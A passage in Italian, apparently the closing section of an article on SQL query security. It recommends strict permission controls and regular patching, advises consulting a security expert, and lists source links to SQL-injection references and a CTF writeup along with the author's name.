- Implementare un controllo rigoroso dei permessi per garantire che gli utenti non autorizzati non possano accedere a informazioni o funzionalità sensibili.
- Aggiornare regolarmente il software dell'applicazione web e del server di database per applicare correzioni di sicurezza e patch di vulnerabilità.
È sempre consigliabile consultare un esperto in sicurezza informatica per una valutazione specifica del tuo sistema e per ottenere consigli personalizzati sulla sicurezza delle query SQL.
FONTI:
https://github.com/m4ll0k/Atlas/blob/master/README.md
https://book.hacktricks.xyz/pentesting-web/sql-injection
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md
https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/
Roberto Pagano
https://www.linkedin.com/in/robertopaganowrp/